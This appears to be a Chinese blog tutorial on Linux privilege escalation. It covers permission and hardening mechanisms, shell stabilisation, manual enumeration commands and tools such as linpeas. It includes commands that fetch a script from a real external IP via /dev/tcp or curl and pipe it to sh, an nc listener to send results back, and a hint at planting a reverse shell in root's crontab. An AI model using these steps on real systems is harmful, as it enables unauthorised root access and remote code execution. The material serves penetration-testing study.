目 录CONTENT

文章目录

Linux 提权 Privilege Escalation

Administrator
2023-06-03 / 0 评论 / 0 点赞 / 22 阅读 / 0 字

前言

linux提权

具体的提权方法很大程度上取决与目标系统的配置。

我们可以分析像内核版本;已安装的应用程序;支持的编程语言和其他用户的凭据

这些关键因素中找到获得root权限的方法

这些关键元素通常包括操作系统或应用程序中的错误配置漏洞,超特权用户或弱凭据。

提权是一个非常重要的过程

目的在于全面涵盖主要的提权方法

深入剖析提权的原理和逻辑

无聊你是比赛还是工作,掌握这些提权知识都是至关重要的。

最熟悉的就是五种

ugo rwx

suid sgid

Capabilities

AppArmor Selinux

ACL

权限模型 → MAC/隔离 → 内核防御 → 运行时约束 四大类,说明它们在 Linux 提权攻防中的定位、典型利用/绕过思路,以及如何快速检测。

1 传统权限模型(最外层门禁)

机制

作用

常见提权切⼊点

快速排查

ugo
(rwx, 所有者/组/其他)

最基本 POSIX 权限

粗心配置导致可写脚本被 root 调用

ls -lfind / -perm -o+w

SUID / SGID

二进制以文件属主/属组权限运行

SUID-C 程序逻辑漏洞、环境变量注入、LD_PRELOAD

find / -perm -4000 -type f

ACL
(getfacl/setfacl)

细粒度补充 ugo

某目录开放“mask::rwx”导致横向写入

getfacl -R /path

Capabilities

微粒化 root 权限
(如 cap_net_raw

普通可执行+cap_setuid⇒直接提权;
cap_sys_ptrace 劫持

getcap -r /

2 强制访问控制 / 隔离层(MAC 与命名空间)

机制

类型

重点

绕过要点

AppArmor / SELinux

MAC

白名单策略,限制进程访问文件/网络/能力

误配为 permissive 或 profile 未覆盖本次执行路径

TOMOYO / SMACK

MAC

较少见;细粒度路径/标签策略

系统很少启用,检测 cat /proc/1/attr/current

Linux Namespaces

隔离

UTS/PID/MNT 等 8 大空间;容器基石

若内核缺少 USER namespace 支持则容易逃逸

Cgroups

资源隔离

CPU/MEM/IO 限额,搭配 NS 实现容器

提权本身用不上,但方便维持

seccomp

系统调用白名单

多见于容器 + 浏览器沙盒

调试可用 strace 看是否 EPERM

3 内核自主加固(漏洞利用“内防火墙”)

防御

覆盖点

你该关注

ASLR

随机化地址

信息泄露 (proc/self/maps, dmesg) 或爆破

StackGuard / ProPolice

栈 canary

需先泄露 canary 或利用非栈溢出

ExecShield

NX & PIE(早期 RHEL)

老系统可关闭 echo 0 > /proc/sys/kernel/exec-shield

PaX / Grsecurity

全套:KERNEXEC, UDEREF, RAP…

几乎淘汰于商业发行版;若存在,常伴自编译内核

Yama

ptrace_scope、symlink 保护

攻击思路:`echo 0

seccomp (again)

syscall filter

BPF JIT 漏洞可反杀,如 CVE-2023-0266

CGroups + Namespaces

资源 & 权限边界

传统 LPE (Dirty Pipe/Netfilter) 仍可打出容器逃逸

SMACK/TOMOYO

另两套 LSM

几乎未启用,可忽略

4 常见发行版补丁集

补丁集

现状

影响

Grsecurity (PaX)

需自行编译;Debian/Arch unofficial

关闭大部分内核 LPE;CTF 靶机少见

ExecShield

CentOS 6-7 时代

现在多数用内核 NX + PIE 替代

StackGuard / ProPolice

GCC 编译旗标

几乎所有发行版开启

5 实战检测/利用顺序

  1. 版本 & 漏洞uname -a; 查 CVE(Dirty Pipe 5.8+、Netfilter 5.14-6.6)。

  2. SUID/Capabilities:直接跑 linpeas.sh 或手动 find / -perm -4000

  3. sudo 误配sudo -l 看 NOPASSWD + 通配符 + LD_PRELOAD 机会。

  4. Cron/Systemd:可写脚本被 root 定时执行?

  5. MAC/LSMsestatusaa-status 判断是否强制模式。若 Permissive 基本等于关闭。

  6. Kernel hardeningdmesg | grep -i randomize_base; /proc/sys/kernel/randomize_va_space

  7. 容器逃逸(若在 Docker/LXC):检查 cap_sys_admin, /proc/1/root 是否指向宿主 /

6 思考:这些机制如何串联?

  • 文件权限 (ugo/SUID/ACL/Cap) → 第一层“有无敲门砖”。

  • MAC/LSM (AppArmor/SELinux) → 成功敲门后会不会被拦。

  • 内核加固 (ASLR/StackGuard/etc.) → 真正打内核洞时的难度系数。

  • Namespace/seccomp → 把入侵者圈在“小黑屋”里;但老洞仍可一招破墙。

基础

无论从红队还是从蓝队的角度会想到这么多

因为只有你理解了背后的权限体系

你能够提权,一定是基于你对一种机制的理解,和对这种机制的利用

破坏妙用巧用,一定是这样才能够让你的提权成为可能

一、就是低权限可以修改可执行文件或者脚本,然后能以高权限身份运行

就是u g o r w x加上s v这种权限体系下

二、就是从用户行为的角度

用低权限用户的运维人员也需要记忆,输入备份凭据已被使用,高权限用户的时候完成操作

或者从运维人员的角度,他的操作习惯,他的管理标准,他会把这些敏感信息留在那里

三、就是在权限的上层

在这个权限体系的上层,也就是说我们把它绕过了

一般来说会在内存,然后在cpu的这个层面

你设置这么多权限,但是没有用,我已经在你的上面去找提权的方式和策略了

在权限的上层捕捉拦截或者是修改凭据信息,这个最典型的就是我们基于内存去读取

一些敏感操作的敏感信息来实现的内核利用

一般我们把获得初始立足点之前就是信息收集

信息收集就是为了撕开入口,获得初始立足点

而获得立足点之后,为了提权横向渗透,打内网,

当我们在linux目标上获得立足点时,我们首先应该尝试的是将我们的shell升级成完整的tty

就是交互性尽可能的完整,

python -c导入一个库,是pty伪终端,在这个库中有一个方法是spawn,用它新启动一个/bin/bash会话。

python -c 'import pty; pty.spawn("/bin/bash")'

这是提高终端稳定性的第一个操作,

第二条命令stty是设置终端,然后给他一个参数raw传递的命令,同时把eco关闭掉

stty raw -echo 

第三条语句是指定终端类型export

然后对term环境变量进行指定xterm

export TERM=xterm

export TERM=xterm-color

如果使用上下方向键找不到历史命令就用这个命令

rlwrap nc -lvnp 443

第一部分  手工枚举

登录到机器后的第一个命令

whoami

看当前用户是谁

看当前用户的user id和group id

id 

如果知道其他用户的用户名可以id 用户名去查看指定用户的权限

还有和who am i相似的是who这个命令

它是看当前登录的用户和相关信息

因为linux是一个多用户系统

可以用who这个命令看除了我当前用户jack之外,还有哪些用户也登录了

d2b5ca33bd014818

w

w它提供的是当前登录用户的详细信息

d2b5ca33bd014751

last

显示的是系统最近的登录记录

d2b5ca33bd014913

uname -a 

查看内核

d2b5ca33bd015001

lsb_release -a

查看更多架构信息

d2b5ca33bd015121

cat /proc/version

proc进程信息也可以显示内核信息

d2b5ca33bd015135

issue

也可以看

d2b5ca33bd015307

hostnamectl

这些都是看内核信息的

d2b5ca33bd015346

查看网卡

新的机器都有

ip addr

d2b5ca33bd015452

比较老的机器可能只有ifconfig

ifconfig

d2b5ca33bd015546

当我们拿到一个shell之后,如果看它有多张网卡

那很可能配合着路由信息的查看,我们就能够发现内网的更多信息

这是横向渗透的第一步

ip route 

查看路由表

d2b5ca33bd015741

ip neigh

查看网络邻居

d2b5ca33bd015804

在局域网中还可以使用

arp -a

查看有那些mac地址和ip地址做了绑定

d2b5ca33bd015912

sudo -l

查看我们拥有那些权限

d2b5ca33bd020309

Capabilities

get 得到cap是capabilities,是得到权限能力,/跟目录下, 2>/dev/null是吧错误信息输出到空

d2b5ca33bd020645

ls -a

ls -liah 查看隐藏文件

d2b5ca33bd230926

history

查看历史记录有机会获取到敏感信息

d2b5ca33bd231055

cat /etc/passwd

查看passwd文件,查看用户

用户名称 : 密码用x代替 : 用户标识号UID : 组标识号GID : 描述 : 主目录 : bash环境登录Shell

d2b5ca33bd231210

cat /etc/crontab

查看定时任务,考虑能不能在里面写反弹shell,啥的,因为他是root运行的。

d2b5ca33bd233206

echo $PATH

查看环境变量,后面做基于路径的提权追加的时候可能用到

d2b5ca33bd233548

env

看整体环境变量的

d2b5ca33bd234058

ps -ef   

-e是entire全部,-f 列出,-ef就是全部列出

UID用户id,PID是process进程id,TTY是使用的终端类型,CMD是正在运行的命令

d2b5ca33bd234613

ps axjf 

显示没有连接终端的进程

d2b5ca33bd234947

还有ps aux也是显示全部进程。

top

查看动态刷新的进程信息

可以看到进程号

d2b5ca33bd235144

也可以不看动态的,只看一次

top -n 1只看一次,不实时刷新。 

上面拿到了进程号,再结合netstat -a 查看有哪些进程开启的网络连接,

 netstat -a

d2b5ca33bd000915

netstat -at

t是查看tcp的连接

d2b5ca33bd000951

u是查看udp的连接

d2b5ca33bd001031

 netstat -l

-l 列出监听模式下的所有端口

d2b5ca33bd001114

-ano 是a全部,n不解析名称,o是显示一个计时器Timer

d2b5ca33bd001300

find / -perm -u=s -type f 2>/dev/null

 -perm -u=s 权限 u=s

查看有sv的可执行文件

d2b5ca33bd001703

which 查找

which 查找是根据¥PATH顺序第一个去匹配,

查看一些程序装没装

d2b5ca33bd001829

cat /etc/fstab

查看系统有那些未挂载的磁盘

d2b5ca33bd002114

以上就是手工枚举

接下来就是

自动化枚举工具

Linpeas

最新的版本是PEASS-ng,因为他包含Linux版本和Window的支持

去github官网,找作者carlospolop

d2b5ca33bd003327

到Release,Latest最新更新。复制连接地址

d2b5ca33bd003450

到终端命令行下使用wget下载,

d2b5ca33bd004245

再添加执行权限,后执行

d2b5ca33bd004430

也可以使用curl 下载后接管道符直接输出执行完后的结果

curl https://github.com/carlospolop/PEASS-ng/releases/download/20230604-b0985b44/linpeas.sh | sh > 123.txt

这样下载不了,因为链接做了重定向需要添加-L

curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230604-b0985b44/linpeas.sh | sh > 123.txt

d2b5ca33bd004831

这样就是执行了

如果没有外网,就只能用各种方法传这个脚本文件了

本地在存有linpeas文件的目录下,开启python的http连接

d2b5ca33bd005252

然后下载

d2b5ca33bd005422

还有一种玩法,把linpeas的执行结果,输出传回kali机器,直接查看

一个窗口开传文件,

一个窗口开监听 88端口 再执行 tee 标准输出,同时也输出到linpeas.txt文本中。

然后再开一个窗口,下载执行linpeas.sh文件再执行,再连接nc IP 端口 就会把扫描结果输出回来。

d2b5ca33bd005952

再使用

less -r linpeas.txt

查看报告,嗯y确认

d2b5ca33bd011909

还有一种在没有curl的情况下的使用方法

在kali本地在存有linpeas文件的目录下,开启nc重定向把linpeas输入进来,

d2b5ca33bd030123

目标机器上执行

d2b5ca33bd030145

cat什么呢,从伪设备中/dev/tcp/23.225.116.31/88读取到的文件,加 | 管道符执行

因为在kali中已经把linpeas输入到了nc之中,这样建立一个完整的管道,

cat获得之后并不是显示出来,而是把他传到 | sh 执行,然后就可以看报告了。

Linenum

一个老一点的库,但是也可以收集一些权限,用户,敏感信息啥都都还可以。

linux-smart-enumeration

这个库也是一直在更新的

linux-exploit-suggester

也更新,只是比较慢,也可以作为备选

linuxprivchecker

这个库也两年没更新了,但是这个库是python写的py2,py3都支持,也可以做为备选。

unix-privesc-check

pentestmonkey的大佬分析过很多宝贝

22分16秒

Grsecurity

Pax

ExecShield

ASLR 地址空间布局随机化

Address space layout randomization

TOMOYO Linux

SMACK

Yama

CGroups

Linux Namespaces

StackGuard

Proplice

seccomp

ptrace

capsicum

Mprotect

chroot

firejail

0

评论区